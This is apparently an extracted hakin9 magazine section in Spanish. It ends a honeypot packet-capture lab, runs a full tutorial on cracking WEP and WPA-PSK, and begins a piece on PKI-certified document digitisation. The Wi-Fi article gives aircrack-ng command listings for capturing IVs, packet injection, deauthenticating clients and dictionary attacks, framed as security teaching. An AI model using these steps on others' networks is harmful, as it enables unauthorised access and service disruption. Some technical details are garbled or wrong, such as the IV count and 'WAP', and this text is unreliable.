Figura 4. Honeypots ''Trampa<br />
perfecta para detectar a agresores<br />
activadas. Observe la interface:<br />
(Listado 14).Las líneas: (Listado<br />
15). Muestran el inicio de sesión<br />
dado los paquetes Sync, Sync+Ack,<br />
Ack entre el cliente 192.168.100.1 y<br />
el servidor 192.168.100.3. Las líneas:<br />
(Listado 16). Muestran tráfico<br />
de tipo DNS donde se reporta que<br />
el registro inverso no se encuentra<br />
en el dns.<br />
Esto se debe a que el servicio<br />
DNS no esta activado en este servidor<br />
de pruebas.<br />
El resto de líneas muestran el<br />
intercambio de información entre el<br />
servidor y el cliente así como la finalizando<br />
la sesión.<br />
Para los amantes del modo gráfico<br />
(y para casos en que es útil un análisis<br />
más en detalle) el paquete Ethereal<br />
nos será de suma utilidad. Revise el<br />
sitio http://www.ethereal.com/docs/<br />
Vamos a capturar la misma secuencia<br />
de conexión al servidor web<br />
ficticio. Para ello, ejecutaremos Ethereal,<br />
y una vez lo hayamos puesto a<br />
funcionar, ejecutaremos la conexión a<br />
http://192.168.100.3/.<br />
Ejecute el comando en la consola<br />
grafica CTRL-ALT-F7: ethereal &<br />
Para ponerlo a funcionar ir al menú<br />
Capture, Start Capture. Capture datos<br />
por todas las interfaces (any)<br />
Resultado 3.2: Simultáneamente<br />
Inicie un ping a la dirección<br />
192.168.100.2 y la conexión web a la<br />
dirección 192.168.100.3.<br />
Capture la secuencia de tráfico y<br />
analice el establecimiento y la secuencia<br />
de la conexión http, por ejemplo<br />
veamos: (Listado 17)<br />
Análisis del tráfico<br />
Este parrafo de tráfico nos muestra<br />
el ping request y el ping reply entre<br />
el cliente 192.168.100.1 y el servidor<br />
192.168.100.2<br />
Análisis del tráfico<br />
El registro 22:26:49.981941 nos<br />
muestra el cliente192.168.100.1 puerto<br />
32782 enviando un Sync al servidor<br />
192.168.100.3 puerto 80, el sync se<br />
representa por la letra 'S' mayúscula<br />
(Listado 19).<br />
El registro 22:26:49.982318 muestra<br />
los paquetes Sync + Ack enviados<br />
por el servidor 192.168.100.3 puerto<br />
80 hacia el cliente 192.168.100.1 puerto<br />
32782, el synck se representa por la<br />
letra 'S' y el ACK por las letras ack.<br />
Ahora en el registro 22:26:<br />
49.982332 el cliente 192.168.100.1<br />
puerto 32782 envía el paquete ACK<br />
al servidor 192.168.100.3 puerto 80<br />
y con esto se completa la secuencia<br />
de conexión para el servicio web (http)<br />
que presta el servidor al cliente.<br />
El resto del tráfico muestra un ping<br />
entre el cliente y el servidor así como<br />
el envío de la página web desde el<br />
servidor hasta el cliente, además se<br />
ve el fin de la conexión cliente servidor<br />
con la letra 'F'.<br />
En el momento de iniciar la captura,<br />
separe mediante filtrado (opcion<br />
filter dentro del menú capture) ó el<br />
trafico ICMP, guarde el resultado de la<br />
captura HTTP en un archivo y recupérelo<br />
mas tarde para análisis.<br />
Se puede analizar este archivo de<br />
logs de la misma forma que lo haría<br />
con la captura en vivo?<br />
Separe el tráfico ICMP en el archivo<br />
tcpdump.icmp y el trafico http en el<br />
archivo tcpdump.http luego los recupera<br />
por la opción File, Open, Nombre<br />
del archivo.<br />
Y se debe poder analizar de la<br />
misma forma.<br />
Para probarlo tome un registro,<br />
luego la opción TCP y luego Flags,<br />
siempre deberá observar la misma<br />
información.<br />
Que ventajas ve en Ethereal frente<br />
a tcpdump y a la inversa?<br />
En principio debería ver que el<br />
formato en ambos es tcpdump, lo que<br />
permite que ambos comandos vean<br />
52 www.<strong>hakin9</strong>.org/es<br />
la misma información. La mayoría de<br />
personas prefieren el ethereal por<br />
que es gráfico, parece que al cerebro<br />
le gustan las cosas en modo gráfico<br />
pero es posible que el servidor pierda<br />
el modo gráfico con lo que el modo<br />
carácter de tcpdump es una gran<br />
ventaja.<br />
Obviamente, en este caso hemos<br />
simulando toda la maqueta en una<br />
sola maquina, Aun así que opina de la<br />
seguridad en las redes Ethernet compartidas?<br />
Como aumenta la seguridad<br />
en redes conmutadas?<br />
Las redes compartidas tienen un<br />
solo dominio de colisiones y esto hace<br />
que un sniffer pueda ver todo el tráfico<br />
sin excepciones. Las redes compartidas<br />
son vulnerables frente a sniffing<br />
y se debe haber probado en estos<br />
laboratorios.<br />
Los switchs que permiten las<br />
redes conmutadas mejoran la seguridad,<br />
pues cada puerto del switch<br />
puede ser un dominio de colisiones<br />
independiente.<br />
Ahora es importante recordar que<br />
si la tabla o cache ARP dentro del<br />
switch es inundada con Ips de origen<br />
que no existen el switch se vera obligado<br />
a enviar por medio de broadcast<br />
requerimientos a los otros dominios y<br />
al haber broadcast los sniffers podrán<br />
ver la información.<br />
Repercusiones legales<br />
Trampa (Entrapment):<br />
• Es el proceso realizado por los<br />
cuerpos policiales (law enforcement)<br />
de inducir a alguien<br />
a cometer un acto punible con<br />
el objetivo de iniciar la acción<br />
judicial pertinente.<br />
En este caso del honeypot, aunque<br />
es un elemento pasivo creado<br />
por nosotros para ser atacado (sin<br />
que seamos parte de los cuerpos<br />
policiales) si no deseamos perseguir<br />
judicialmente esta intrusión en<br />
el Honepot, no realizamos ninguna<br />
trampa.<br />
El objetivo del Honeypot es<br />
recibir los ataques, no recoger<br />
información para demandar a los<br />
atacantes del Honeypot. l
Vulnerabilidades<br />
de WEP y WPA<br />
José Luís Picazo Martínez<br />
La comodidad que las redes inalámbricas<br />
han aportado a nuestra vida está fuera<br />
de toda duda, su presencia en organismos<br />
públicos, poblaciones de difícil acceso,<br />
grandes eventos, empresas y sobre todo en<br />
el ámbito doméstico ha facilitado el acceso sin<br />
cables a Internet a millones de personas.<br />
En su concepción teórica las Redes Wifi<br />
tratan de ser tan seguras como lo es una red<br />
cableada, en ayuda de esta concepción nacieron<br />
los sistemas de cifrado WEP y posteriormente<br />
WPA.<br />
WEP, un sueño frustrado<br />
Wired Equivalent Protocol (WEP) fue desarrollado<br />
en 1997 con el objetivo de ofrecer<br />
un grado de privacidad equivalente al que<br />
se tiene en una red con cables. El estándar<br />
IEE 802.11 incorporó desde el principio un<br />
campo en la capa MAC para indicar si se<br />
utiliza cifrado (WEP) o no (Figura 1). Este<br />
estándar ofrecía los siguientes servicios de<br />
seguridad:<br />
• Autenticación: Por clave compartida o Abierta,<br />
que es el estándar 802.11 consistente en<br />
autenticar todas las peticiones que reciben.<br />
54 www.<strong>hakin9</strong>.org/es<br />
Las redes inalámbricas Wifi, se<br />
han convertido en una necesidad<br />
para los usuarios domésticos.<br />
Su uso masivo ha provocado<br />
que con la misma rapidez con la<br />
que se han intentado proteger,<br />
sus vulnerabilidades hayan<br />
salido a la luz convirtiéndose en<br />
la primera puerta que el hacker<br />
principiante trata de cruzar pero,<br />
¿por qué son tan inseguras?<br />
• Confidencialidad: Mediante la utilización<br />
del algoritmo RC4, WEP se basa en el cifrado<br />
por flujo simétrico de claves. Es decir,<br />
para que el cifrado / descifrado ocurra ambos<br />
extremos deben compartir la clave de<br />
cifrado.<br />
• Integridad: Mediante la inclusión de redundancia<br />
ICV (Integrity Check Value) calculada<br />
con los algoritmos estándar CRC-32 y<br />
cifrada con WEP.<br />
Pues bien, el Listado 1 muestra como romper<br />
este cifrado (Figura 2) en unos pocos pasos.<br />
En este artículo aprenderás<br />
• Los distintos protocolos de cifrado para<br />
redes Wifi.<br />
• Las vulnerabilidades de WEP y WPA.<br />
• Cómo explotar estas vulnerabilidades.<br />
• Cómo dotar a tu red Wifi de Seguridad.<br />
Lo que deberías saber<br />
• Conocimiento básico del protocolo TCP/IP.<br />
• Linux a nivel usuario.
¿Cómo es posible? Si analizamos<br />
el funcionamiento de WEP, este<br />
estándar utiliza el algoritmo RC4,<br />
la operación de cifrado consiste en<br />
la realización del or exclusive de la<br />
corriente de claves con la corriente<br />
de bits. La clave está formada por<br />
la clave simétrica (la misma para<br />
todas las tramas, y la misma usada<br />
en la fase de autenticación) y el<br />
vector de inicialización (variable<br />
para cada trama, pero de 24 bits).<br />
La combinación de clave y vector<br />
(en adelante, IV) logra cifrar cada<br />
trama con una clave distinta a pesar<br />
de emplear una clave simétrica<br />
fija.<br />
IV es transmitido en claro junto<br />
con los datos cifrados para que el<br />
receptor pueda obtener la clave<br />
de cifrado. Si entendemos esto<br />
comenzaremos a ver problemas, si<br />
tengo una parte de la combinación<br />
usada para cifrar en claro y la otra<br />
es fija, es solo cuestión de tiempo<br />
el averiguar la fija.<br />
Además, los IV son de 24<br />
bits, eso nos da como máximo<br />
26.777.216 valores, esto puede<br />
generarse en unas pocas horas<br />
en cualquier red Wifi con un tráfico<br />
moderado y con un buen pack de<br />
herramientas de hacking gíreles<br />
como la suit aircrack-ng o similares<br />
presentes en cualquier distribución<br />
de auditoria.<br />
El Listado 1 muestra todo esto<br />
en 5 sencillos pasos, en 1) y 2) tan<br />
solo escuchamos todo lo que hay<br />
en la red por el interfaz ath0 (podría<br />
ser otro, según nuestro caso),<br />
el 0 indica que recibamos paquetes<br />
de todos los canales (primero hay<br />
que detectar la wifi que nos interesa)<br />
y el 1 que nos quedaremos con<br />
los IV, que al fin y al cabo es lo que<br />
nos interesa, prueba será el archivo<br />
donde todo esto se guarde.<br />
Con estos pasos hemos obtenido<br />
la información de la red<br />
que queremos atacar, apuntamos<br />
el channel y el nombre de la red<br />
(ESSID) y centramos nuestro ataque<br />
en ella comenzando de nuevo<br />
(podemos seguir haciéndolo para<br />
todos los canales y realizar el ataque<br />
sobre prueba, pero si estáis en<br />
Vulnerabilidades de WEP y WPA<br />
una gran ciudad como es mi caso,<br />
no es aconsejable esnifar paquetes<br />
de 15 redes distintas).<br />
En el paso 3) esnifamos paquetes<br />
del canal de la red que nos<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Figura 1. Formato de trama IEEE 802.11<br />
Listado 1: WEP roto en 5 pasos<br />
1.-airmon.sh start aht0<br />
2.-airodump ath0 prueba 0 1<br />
3.-iwconfig ath0 mode monitor channel 10 essid GigA<br />
4.-airodump ath0 anita 10 1<br />
5.-aircrack anita*.vis<br />
Listado 2: Acelerando la recolección de IV<br />
www.<strong>hakin9</strong>.org/es<br />
<br />
<br />
<br />
<br />
interesa (en nuestro caso el 10)<br />
indicando como identificador de la<br />
red GigA (esto cambia de una red a<br />
otra). Ahora solo tenemos que sentarnos<br />
y esperar como suben los<br />
<br />
<br />
<br />
<br />
<br />
1.- aireplay -3 ath0 -b BSSID -h STATION<br />
2.- aireplay -1 30 ath0 -e GigA -a BSSID -h 00:11:22:33:44:55<br />
Listado 3: WAP tampoco es invulnerable<br />
1.- iwconfig ath0 mode monitor channel 11<br />
2.- airodump ath0 anitaWPA 11 0<br />
3.- aireplay -0 5 ath0 –a MAC_PA –c MAC_CLIENTE<br />
4.- aircrack –a 2 –w DiccFileName FileName.cap<br />
Figura 2. El ircrack comienza su trabajo<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
55
kit<br />
IV. Normalmente son necesarios<br />
250.000 para llegar al paso 5 y obtener<br />
nuestra preciada contraseña,<br />
aunque con suerte no habrá que<br />
esperar tanto (Figura 2). Las redes<br />
más duras de romper nos harán llegar<br />
a los 500.000, pero sigue siendo<br />
cuestión de tiempo.<br />
Acelerando el proceso<br />
¿Cansado de esperar? Bueno incluso<br />
en esto WEP es vulnerable,<br />
es posible acelerar el proceso, el<br />
Listado 2 muestra como hacerlo.<br />
¿Por qué? WEP es vulnerable también<br />
a los ataques de repetición.<br />
Aunque la cabecera de la trama<br />
MAC contiene un campo de nº de<br />
secuencia, no va protegido con la<br />
clave por lo que se puede manipular<br />
fácilmente.<br />
Usando una MAC cualquiera<br />
(como la de 2) y siempre y cuando<br />
el filtrado MAC esté deshabilitado<br />
(sino siempre podremos cambiar<br />
nuestra MAC) podemos inyectar<br />
paquetes a nuestra red, acelerando<br />
el tráfico con, por ejemplo, tramas<br />
antiguas. Si abrimos un nueva consola<br />
en paralelo a la del listado 1,<br />
utilizando 1) inyectaremos paquetes<br />
cuando hay más clientes conectados,<br />
en 2) lo hacemos cuando<br />
estemos nosotros solos, de ahí que<br />
pongamos una MAC aleatoria.<br />
WPA, ¿Solución<br />
o más de lo mismo?<br />
Wifi Protected Area es la evolución<br />
ante la decepción que supuso WEP.<br />
Entre los requisitos que se exigían<br />
al nuevo mecanismo de cifrado<br />
estaba el que el hardware de WEP<br />
fuera válido para WPA. Por lo que<br />
los algoritmos son muy parecidos,<br />
WPA también usa RC4 y vectores<br />
de inicialización, pero con sutiles<br />
diferencias:<br />
• Cifrado: Basado en TKIP (Temporal<br />
Key Integrity Protocol), que<br />
consiste en la generación de una<br />
clave WEP dinámica diferente<br />
por cada trama transmitida por<br />
cada cliente asociado al punto de<br />
acceso (PA).<br />
• Integridad de datos: Se sustituye<br />
el IVC (recordemos Figura 1)<br />
por el Message Integrity Check<br />
(MIC). El MIC está basado en<br />
un algoritmo de Hash unidireccional<br />
que no es susceptible a<br />
ataques Bit-Flipping como si lo<br />
es CRC-32<br />
• Autenticación: Provee el esquema<br />
de autenticación mutua IEEE<br />
802.1x / Extensible Authentication<br />
Protocol (EAP) o clave precompartida<br />
(PSK), más común<br />
en el ámbito doméstico.<br />
En principio parece que hemos solucionado<br />
los problemas de WEP, tenemos<br />
un nuevo método de cálculo<br />
de la secuencia de integridad en la<br />
trama.<br />
Evitamos los ataques de repetición<br />
y añadimos una nueva función<br />
que refresca las claves de cifrado y<br />
Figura 3. Usario íctima de nuestro<br />
ataque 0 Figura 4. Auditor CD de remote-exploit<br />
56 www.<strong>hakin9</strong>.org/es<br />
autenticación para combinar las claves,<br />
cifrando cada trama con claves<br />
diferentes.<br />
Pues bien, el Listado 3 rompe<br />
WAP-PSK en 4 pasos. WPA-PSK<br />
usa una clave de acceso de una<br />
longitud entre 8 y 63 caracteres, que<br />
es la clave compartida. Al igual que<br />
ocurría con WEP, esta clave hay que<br />
introducirla en cada una de las estaciones<br />
y puntos de acceso de la red<br />
inalámbrica. Cualquier estación que<br />
se identifique con esta contraseña,<br />
tiene acceso a la red.<br />
La principal debilidad de WPA-<br />
PSK es la clave compartida entre<br />
estaciones. Cuando un sistema<br />
basa su seguridad en un contraseña<br />
siempre es susceptible de sufrir un<br />
ataque de fuera bruta, es decir ir<br />
comprobando contraseñas, aunque<br />
dada la longitud de la contraseña y si<br />
está bien elegida no debería plantear<br />
mayores problemas.<br />
Pero si nos fijamos bien en el funcionamiento<br />
de WAP, hay un momento<br />
de debilidad cuando la estación<br />
establece el diálogo de autenticación.<br />
Este diálogo va cifrado con las claves<br />
compartidas, y si se entienden entonces<br />
se garantiza el acceso y se inicia<br />
el uso de claves dinámicas.<br />
La debilidad consiste en que<br />
conocemos el contenido del paquete<br />
de autenticación y conocemos su
valor cifrado. Ahora lo que queda es,<br />
mediante un proceso de ataque de<br />
diccionario o de fuerza bruta, intentar<br />
determinar la contraseña.<br />
Las líneas 1-3 del Listado 3 hacen<br />
precisamente eso, aprovechar el momento<br />
de debilidad, nos quedamos<br />
Vulnerabilidades de WEP y WPA<br />
preparados para escuchar todo lo que<br />
pase por nuestra red (1 y 2), en ese<br />
momento realizamos un ataque tipo 0<br />
para desautenticar a uno de sus usuarios,<br />
este se desconecta, se vuelve a<br />
conectar y capturamos el handshake.<br />
Ya tenemos todo lo necesario, con<br />
Sobre el Autor<br />
José Luís Picazo es Ingeniero Técnico en Informática de Sistemas e Ingeniero Informático.<br />
Ya desde la Universidad enfocó su carrera hacia el mundo de la Seguridad y<br />
la Auditoría, realizando para ello el PFC en Test de Intrusión. Actualmente finaliza el<br />
Master en Seguridad de la Información de la Universidad Politécnica de Madrid y el<br />
PFM en Análisis Forense y Peritaje Informático.<br />
Actualmente lleva a cabo su carrera profesional en AXPE Consulting y colabora en<br />
diversos proyectos de Metodología Forense.<br />
Referencias<br />
• Aplicación de apoyo al hacking wíreless<br />
http://www.kismetwireless.net/<br />
• Artículo WEP<br />
http://es.wikipedia.org/wiki/Wired_Equivalent_Privacy<br />
• Artículo WPA<br />
http://es.wikipedia.org/wiki/Wi-Fi_Protected_Access<br />
• AUDITOR CD<br />
http://www.remote-exploit.org/<br />
• Definición del estándar wireless<br />
http://es.wikipedia.org/wiki/IEEE_802.11<br />
• Knoppix Live CD<br />
http://www.knoppix.org/<br />
• Manual hacking wireless<br />
http://www.elhacker.net/manual_hacking_wireless.htm<br />
Figura 5. Aplicación para atacar WPA-PSK<br />
www.<strong>hakin9</strong>.org/es<br />
nuestro handshake en un fichero ya<br />
podemos realizar ataques por fuerza<br />
bruta durante el tiempo que queramos.<br />
Aquí viene el pero, necesitaremos<br />
de un buen diccionario (fichero<br />
de texto plano con palabras) para ello,<br />
sino es posible que estéis durante 36<br />
horas (como yo) atacando sin obtener<br />
resultados. Ahora bien, no todo iba a<br />
ser fácil, existen numerosos diccionarios<br />
disponibles en la red, solo es<br />
necesario bajar uno en nuestro propio<br />
lenguaje que incluso podremos ir ampliando<br />
según recopilemos palabras.<br />
Conclusiones<br />
A día de hoy las redes inalámbricas no<br />
son infalibles, comparadas con las cableadas<br />
son mucho más susceptibles<br />
de ataques de denegación de servicio,<br />
un ataque 0, irradiación de ondas para<br />
limitar o distorsionar la señal es posible<br />
sin muchos conocimientos técnicos.<br />
Por tanto una corporación no<br />
puede depender de estos servicios<br />
por muy bien que quede de cara a<br />
un cliente en la presentación de un<br />
proyecto. Las redes wifi en el ámbito<br />
profesional deben ser un apoyo,<br />
nunca debe existir dependencia sino<br />
veremos como nuestros servicios se<br />
caen una y otra vez.<br />
En el ámbito doméstico, un cifrado<br />
WPA con una buena clave, unido a algunos<br />
de los consejos que los lectores<br />
de <strong>hakin9</strong> pudimos ver en el artículo<br />
de Eduardo Tabacman (nº 30 de la<br />
revista) nos permitirá disfrutar de una<br />
Wifi lo suficientemente segura para<br />
que no nos quiten el sueño (aunque<br />
conviene recordar que la seguridad<br />
100% no existe, toda medida tiene su<br />
contramedida).<br />
En cuanto a las herramientas utilizadas,<br />
estas vienen disponibles en<br />
cualquier distribución LiveCd del mercado,<br />
Troppix, Knoppix o el AUDITOR<br />
CD (Figura 4) que es mi preferido.<br />
Otras herramientas de las que<br />
no he hablado, y que serán un buen<br />
apoyo ante ESSID ocultos, redes de<br />
las que se desconoce su estándar de<br />
cifrado etc. es Kismet, también sencilla<br />
de usar, aunque la mayor parte<br />
de los casos, no nos será necesaria.<br />
Espero que hayan disfrutado de este<br />
artículo, Feliz Conexión. l<br />
57
Digitalización<br />
Roger Carhuatocto<br />
Identificar la importancia de la Criptografía<br />
de Clave Pública en Aplicaciones<br />
de Digitalización de documentos en las<br />
Empresas.<br />
Conocer la regulación Española sobre la<br />
Digitalización de Documentos, los requerimientos<br />
legales y de seguridad que deben<br />
cumplir las Aplicaciones de Digitalización.<br />
Mucha gente se pregunta si hay negocio<br />
alrededor de la PKI, aunque hemos visto<br />
cerrar algunas empresas otras cambiar su<br />
modelo de negocio, en fin, aquí veremos<br />
que hay aplicaciones reales a la PKI y posiblemente<br />
más negocio alrededor de la<br />
PKI. Antes hay que preguntarnos cuál es el<br />
rol que juega la PKI en las aplicaciones de<br />
negocio actualmente?, y la respuesta es que<br />
la PKI es un requisito, es una infraestructura<br />
básica. Igual que para desarrollar en JAVA<br />
antes hay que tener una JVM.<br />
Desde mi punto de vista, PKI se ha convertido<br />
en una comodity y para construir<br />
aplicaciones de negocio seguras las Organizaciones<br />
deben desplegar una PKI, aquí la<br />
PKI es un requisito no el objetivo. Este es el<br />
gran error cometido en los anteriores años y<br />
por ello el cambio de modelo de negocio en<br />
58 www.<strong>hakin9</strong>.org/es<br />
El artículo explica cómo diseñar<br />
y construir una aplicación que<br />
convierta documentos en papel<br />
a formato digital con la garantía<br />
de que los documentos digitales<br />
sean copia fiel a los de papel y<br />
que cumplan los requerimientos<br />
que exige la Regulación sobre<br />
Administración Electrónica. Para<br />
ello usamos aplicaciones Open<br />
Source y Criptografía de Clave<br />
Pública.<br />
algunas Empresas del Sector. El negocio<br />
está en los servicios (gestión, formación,<br />
desarrollo de aplicaciones, etc.) que se<br />
pueden desarrollar alrededor de la PKI, por<br />
ejemplo, el desarrollo e integración de aplicaciones<br />
de negocio con un uso intensivo de<br />
certificados y criptografía. Entonces, explicaremos<br />
cómo construir una aplicación de<br />
negocio (digitalización de documentos certificada)<br />
basada en criptografía, certificados<br />
digitales y componentes Open Source.<br />
En este artículo aprenderás<br />
• Diseñar aplicaciones que usen Certificados<br />
X.509 y Firma Digital.<br />
• Certificación de procesos electrónicos como la<br />
digitalización.<br />
• Cómo garantizar la integridad de documentos<br />
digitalizados.<br />
Lo que deberías saber<br />
• Estándar X.509, XAdES, JAVA, TWAIN, SANE,<br />
etc.
Figura 1. Ciclo de vida de la digitalización de documentos<br />
Digitalización<br />
Certificada<br />
La digitalización es el proceso<br />
por el cual documentos en papel<br />
son convertidos a su equivalente<br />
digital, necesario para continuar<br />
el trámite via las aplicaciones de<br />
negocio. Cuando hablamos de digitalización<br />
certificada nos referimos<br />
que se garantiza la integridad<br />
y la seguridad en general a todo<br />
el proceso de digitalización así<br />
como el objeto digitalizado y su<br />
fiel correspondencia al documento<br />
en papel.<br />
Diseño de una Aplicación de<br />
Digitalización Certificada Como<br />
todas las Aplicaciones de Digitalización,<br />
éstas deben implemetar<br />
funcionalidades para cada etapa<br />
del ciclo de vida de la digitalización<br />
de documentos. Ciclo<br />
de vida de la Digitalización de<br />
documentosSegún AIIM iAIIM<br />
- www.aiim.org.uk Input/Capture:<br />
1 2<br />
Digitalización de Documentos Certificada<br />
etapa inicial por el cual se aquiere<br />
los documentos en papel y los<br />
datos. El documento en papel será<br />
capturado y pasará a ser una imagen,<br />
mientras que información textual<br />
del mismo documento tendrá<br />
que ser tratado de forma diferente<br />
si se desea introducir al sistema.<br />
Existen diferentes métodos de<br />
input/capture, el más usado es el<br />
escaneo de imágenes o simplemente,<br />
importándo las imágenes<br />
desde otro repositorio.<br />
Conversion: después del escaneo<br />
obtendremos un imagen en<br />
un formato determinado, en esta<br />
etapa convertiremos un formato<br />
inicial a otro final. Recordar que es<br />
posible adquirir imágenes de otros<br />
dispositivos como cámaras de fotografía,<br />
fax, etc., en este caso la<br />
conversión de formato es vital.<br />
Recognition: es la etapa por la<br />
cual se identifica y se reconoce<br />
de información sensible y repre-<br />
3 4 5 6<br />
INPUT/CAPTURE CONVERSION RECOGNITION UALITY CONTROL INDEXING OUTPUT<br />
Authenticity, Itnegrity<br />
and non-repuditation<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Figura 2. Autenticidad, integridad y no repudio en la digitalización de<br />
documentos. Técnicas Criptográficas usadas: Firma digital y validación<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
www.<strong>hakin9</strong>.org/es<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
sentativa como patrones de texto,<br />
patrones de imágenes, dibujos<br />
o marcas, etc. Algunas técnicas<br />
utilizadas son el OCR, ICR, OMR,<br />
Barcode recognition, etc.<br />
Quality control: nos permite<br />
realizar actividades de control sobre<br />
las actividades anteriores, es<br />
decir, si durante el proceso de escaneo<br />
de un documento la imagen<br />
resultante tiene mucha distorción y<br />
no tiene parecido al documento en<br />
papel, entonces es necesario alguna<br />
rectificación manual u pseudo-automática.<br />
Indexing: etapa<br />
donde se utilizará la información<br />
textual reconocida para asociarla<br />
a la imagen digital (representación<br />
del documento en papel) para su<br />
rápida y exacta recuperación del<br />
documento, en su versión digital.<br />
Output: todo documento en<br />
papel o digital necesita un lugar<br />
para almacenamiento, en muchos<br />
casos el lugar depende del formato<br />
de salida del documento. Por<br />
ejemplo, prefiero guardar en mi<br />
repositorio documentos digitales<br />
representados en formato XML,<br />
pero no documentos en formato<br />
PDF. Requisitos de Seguridad:<br />
Autenticidad, integridad y no repudio.<br />
Qué de especial tiene una aplicación<br />
que digitalice documentos,<br />
esto ya lo puede hacer cualquier<br />
59
kit<br />
Digital Signature<br />
Services Platform<br />
•Create Digital Signature<br />
•Validate digital certificate<br />
•Encryption of digital information<br />
scanner o impresora multifuncional.<br />
Sin embargo, estos aparatos<br />
no disponen de funcionalidades<br />
que garanticen la integridad, ni la<br />
autenticidad del objeto escaneado,<br />
ni la seguridad en todo el proceso<br />
Ul Scanning<br />
Component<br />
TWAIN & SANE<br />
Adaptors<br />
Put, Get & Search<br />
e-Doc Adaptor<br />
Cert. Validation<br />
Connector<br />
Figura 3. Propuesta de arquitectura de una Aplicación de Digitalización Certificada<br />
Figura 4. Firma Digital de documentos en OpenOffice<br />
Capture Module<br />
Configuration<br />
ECM Module<br />
Indexing<br />
de digitalización. Imaginemos que<br />
la Cia. ABC desea transformar las<br />
facturas en papel a formato digital<br />
para luego usarlas en sus sistemas<br />
internos de gestión, cumplir<br />
la leyes respecto a la preserva-<br />
60 www.<strong>hakin9</strong>.org/es<br />
E-Doc<br />
Viewer<br />
Digitalization<br />
Policy Manager<br />
Quality Control Module<br />
Audit & Trail<br />
Manager<br />
Crypto Party Module Recognition Module<br />
Encryption<br />
Connector<br />
DigSign. Factory<br />
Connector<br />
OCR<br />
Component<br />
Bar Code<br />
Component<br />
Conversion<br />
Component<br />
DigSign.<br />
Component<br />
ción de las facturas en papel por<br />
un determinado tiempo y evitar<br />
gastos innecesarios de mantenimiento<br />
de las facturas en papel,<br />
gastos como: almacenamiento,<br />
copias en papel, mantenimiento<br />
del papel, etc.<br />
Para que la Cia. ABC pueda<br />
lograr esto es necesario tener una<br />
solución de digitalización de facturas<br />
que garantice:<br />
La autenticidad: que el documento<br />
digitalizado sea copia fiel<br />
del documento en papel y que no<br />
existan dudas de que haya manipulado<br />
nada durante el proceso de<br />
digitalización.<br />
La integridad: que el documento<br />
digital tenga mecanismos para<br />
determinar si este fue modificado<br />
o no. No repudio: que nadie pueda<br />
negar que el documento digital no<br />
representa al documento en papel<br />
y éste pueda ser admitido en los<br />
procesos de negocio.<br />
Entonces, el uso de técnicas<br />
criptográficas y certificado digital<br />
en esta situación concreta es de<br />
vital importancia.<br />
Durante la digitalización, para<br />
garantizar que el documento papel<br />
ha sido escaneado correctamente<br />
sin intervención de elementos distorsionadores<br />
externos y por con-
siguiente se tiene un documento<br />
digital se utiliza la firma digital.<br />
Durante el proceso de creación de<br />
la firma digital se realiza un proceso<br />
de validación contra proveedores<br />
de confianza (Autoridades de<br />
Validación) que nos indica que las<br />
credenciales (certificado digital)<br />
usados durante la firma son completamente<br />
válidas.<br />
Existen diferentes formatos de<br />
firma digital, desde formatos clásicos<br />
como PKCS7 y CMS/CAdES,<br />
hasta formatos más avanzados<br />
como XMLDsig y XAdES. Se recomienda<br />
XAdES como estándar<br />
para requerimientos de seguridad<br />
avanzada como archivado de evidencia<br />
digital, validez de la firma<br />
cuando el certificado digital ha<br />
caducado, etc.<br />
Técnicas de Digitalización<br />
Existen tres técnicas/estándares<br />
para implementar soluciones que interactuen<br />
con dispositivos scanners,<br />
ellos son:<br />
• TWAINiiTWAIN - www.twain.org<br />
• SANE - www.sane-project.org<br />
• WIA - www.microsoft.com<br />
Yo particularmente prefiero SA-<br />
NE ya que permite escarlar la<br />
aplicación fácilmente y añadir<br />
funcionalidades de una manera<br />
modular, además de la abundancia<br />
de aplicaciones maduras Open<br />
Source que siguen estas especificaciones.<br />
Listado 1. Aplicaciones Open Source base<br />
OpenOffice (http://www.openoffice.org)<br />
gscan2PDF (http://gscan2pdf.sourceforge.net)<br />
ImageJ (http://rsb.info.nih.gov/ij)<br />
Jsane-net (http://www.sourceforge.net/projects/jsane-net)<br />
GIMP (http://www.gimp.org)<br />
XSANE an graphical scanning frontend (http://www.xsane.org)<br />
Listado 2. Aplicaciones y APIs no Open Source<br />
para digitalización<br />
Morena (http://www.gnome.sk)<br />
JSANE an Java SANE implementation<br />
(http://www.asprise.com/product/jsane)<br />
Una aplicación de digialización<br />
por lo general será una aplicación<br />
stand-alone y no cliente-servidor.<br />
Esto tiene mucho sentido, una<br />
aplicación de digitalización estará<br />
instalada en una computadora del<br />
operario (digitalizador certificado)<br />
que tenga conectada un dispositivo<br />
scanner, dicho operario tendrá<br />
capacidad de interactuar con los<br />
certificados digitales y clave privada,<br />
y con el respectivo conector<br />
a los servicios de validación de<br />
dichos certificados.<br />
Como el escaner y el certificado<br />
digital están en la misma<br />
computadora que usará el operario,<br />
además dicho operario tendrá<br />
alimentar con documentos en papel<br />
al escaner, por ello, no tendrá<br />
mucho sentido que la aplicación<br />
sea construída siguiendo el patrón<br />
cliente-servidor. Sin embargo, SA-<br />
NE permite construir aplicaciones<br />
que realizan la tarea de digitalización<br />
de forma remota si esto es<br />
necesario.<br />
Arquitectura<br />
propuesta<br />
Está claro que el desarrollo de<br />
la solución está relacionado a la<br />
naturaleza de los requerimientos<br />
y entorno de usuario. Por el<br />
momento será, stand-alone, con<br />
SANE, uso de certificados digitales<br />
en cliente, formato de la firma<br />
XAdES y Open Source (Ver Figura<br />
3). Destacamos la inclusión de<br />
módulos orientados a cada una de<br />
www.<strong>hakin9</strong>.org/es<br />
61
kit<br />
las etapas del ciclo de vida de la<br />
digitalización.<br />
Además, incluímos un módulo<br />
capáz de realizar funcionalidades<br />
para garantizar la autenticidad, integridad<br />
y no repudio del proceso de<br />
digitalización y de los documentos<br />
digitalizados.<br />
Aplicaciones<br />
propuestas<br />
para Digitalización<br />
Certificada<br />
Basándonos en diferentes iniciativas<br />
Open Source relacionadas a la<br />
digitalización de documentos hemos<br />
podido hacer una revisión rápida de<br />
dichas soluciones, en todos los casos<br />
son una revisión bastante escueta y<br />
sólo perseguimos elaborar prototipos.<br />
Esto no quiere decir que ninguna<br />
de estas opciones no sean válidas<br />
para ser usadas en entornos productivos<br />
